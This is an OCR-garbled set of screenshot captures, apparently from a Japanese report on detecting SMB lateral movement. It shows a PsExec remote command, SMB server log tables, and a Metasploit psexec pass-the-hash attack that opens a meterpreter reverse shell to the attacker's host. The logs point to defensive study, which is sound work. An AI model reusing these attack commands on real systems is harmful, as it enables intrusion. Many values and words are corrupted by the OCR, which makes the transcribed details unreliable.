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C: ¥lzersy¥0S¥Deskt op¥PSToo | SPsExec. exe| -ulddnin] & direx [¥¥04U-0595] ipconfie Aall
()

FsExec w1.98 - Execute processes remotely
Copvright (C) 2001-2010 Mark Russinovich

Svsinternals - waw.sysinternals. com

Windows IP Confizuration

Host Mame . . . . . . . . . . . . UﬂU 0595 E
Primary Ons Suffix . . . . . . .

Mode Type . . . . . . . . . . . . ¢ Unknown

IP Routing Erabled. . . . . . . . : Mo

WINS Prosy Emabled. . . . . . . . ¢ No

Fthernet adapter PREELAN:

Connect ion-specific DNS Suffix

Description . . . . . . . . . . . ¢ Irtel(R) 82566MM Gigabit Metwork Cornection
Phvsical Address. . . . . . . . . : 00-1E-68-B1-41-92

Ohcp Erabled. . . . o . 0 0 . 0 L : Mo

IF dddress. . . . . . . . ... .: : 192,168,250, 100

Subret Mask . . .. . L. L. L T 255,205, 255.0

Oefault Gateway . . . . . . . . . :
ipconfig exited on OAU-0585 with error code 0.

C:¥Uzers¥Cs¥leskt op¥PsToo sy
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cEQ 35 SMB Logla#R [file: smb_log 001_2014041013 txt ]

No BiT 8521 FHLZA E Dt 21 FHL2B K-8  SMBIT2N  PID  UID FID 2= HE5 EiTI71LE
1 2014/04/10  13:2421 192.168.250.100 445 192.168.250.240 43714 0x75 65279 4096 = Admin ¥¥OAU-0595¥ADMING =
2 2014704410 13:24:21  192.168.250.100 445 192.168.250.240 43714 0x75 65279 4096 = Admin ¥¥OAU-0595¥ADMING =
3 2014704410 13:2421  192.168.250.100 445 192.168.250.240 43714 0xA2 4588 4096 (0x8002 Admin ¥¥OAL-0595¥ADMINS ¥PSEXESWC EXE
4 2014704410 13:24:29  192.168.250.100 445 192.168.250.240 43714 0xA2 4588 4096 (0x800c Admin ¥¥OAU-0595%¥ADMINS ¥PSEXESWC EXE
5 2014704410  13:2429 192.168.250.100 445 192.168.250.240 43714 OxA2 4588 4096 0x800d Admin ¥¥0AU-0595¥ADMING ¥PSEXESWC EXE
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'C Metasploit Pro Ce

JFHe Edit View Help
|s~e% hbh e e |

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description
RHOST 192.168.250.100 |® yes The target address M
@ RPORT 445 ves Set the SMB service port
[SHARE  ADMINS | ® ves The share to connect to, can be an admin share &
SMBDnmaln WORKGROUE The Windows domain to use for authentication
SMBPass elc685516be5alf3aad3bs3sb51404ee:b3c4525049bdbeeT3265279665674272 |nu The password for the specified username L4
SMBUser Admin @ no The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXTTFUNC _process es Exit technique: seh, thread, process, none
LHOST 192.168.250.240 ﬁ;a: @ The listen address

LPORT 4444 ves The listen port

Exploit target:

Id HName

0 Automatic

msf exploit (psexsc) > exploit

[*] Started reverse handler on 192.168.250.240:4444

[*] Connecting to the server...

[*] Authenticating to 192.168.250.100:445|WORKGROUPF as user 'Admin'...
[*] Uploading payload...

1] [exsazed \itesivst.cae. -] (B)

[*] Binding to 357abb81798447351173[132798:5038{!{!1003:Z.O@ncar_ninp:lgz.158.25{!.100[\3vcct1] [l
[*] Bound to 3675bb81—9844—35f1—ad32—98f038001003:2.D@n::at:n_np:192.168.250.100[\svccc1] -

[*] Obtaining a service manager handle...

[*] Creating a new service (nxiXzBPF - "MaOpvaw")...

[*] Closing service handle...

[*] Cpening service...

[*] Starting the service...

[*] Sending stage (770048 bytes) to 192.168.250.100

[*] Removing the service...

[*] Closing service handle...

[#] Deleting \iTEsfvsU.ex=...

[*] Meterpreter session 1 opened (192.168.250.240:4444 -> 192.168.250.100:1129) at 2014-04-10 16:18:44¢ +0900

meterprecer > -

Ready |51x137 /A
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cEQ 35 SMB Logth#R [file:smb_log 001_2014041016 txt ]

No Bt 857 THLZA o ) FHLZB #*-bB SMBITYM PID  UID FID 2-%3 #53 EiTbB

1 2014/04/10  16:18:47 192.168.250.100 445 1921168250240 44718 075 61095 6144 > Admin  ¥¥102.168.250.100¥ADMING -

22014704710 16:18:47  192.168.250.100 445 192.168.250.240 44718 0x2D 61095 6144 0xB00e Admin  ¥¥192.168.250.100¢ADMING ¥iTEsfvsUexe
3 2004/04/10  16:19:04  192.168.250.100 445 192.168.250.240 44718 0x2D 61095 6144 0xB00f Admin  ¥¥192.168.250.100¥ADMING ¥iTEsfvsUexe
4 2004/04410  16:1912  192.168.250.100 445 192.168.250.240 44718 0x75 61095 6144 = Admin  ¥¥192.168.250.100¥ADMING =

® @ ® @ (€) ®
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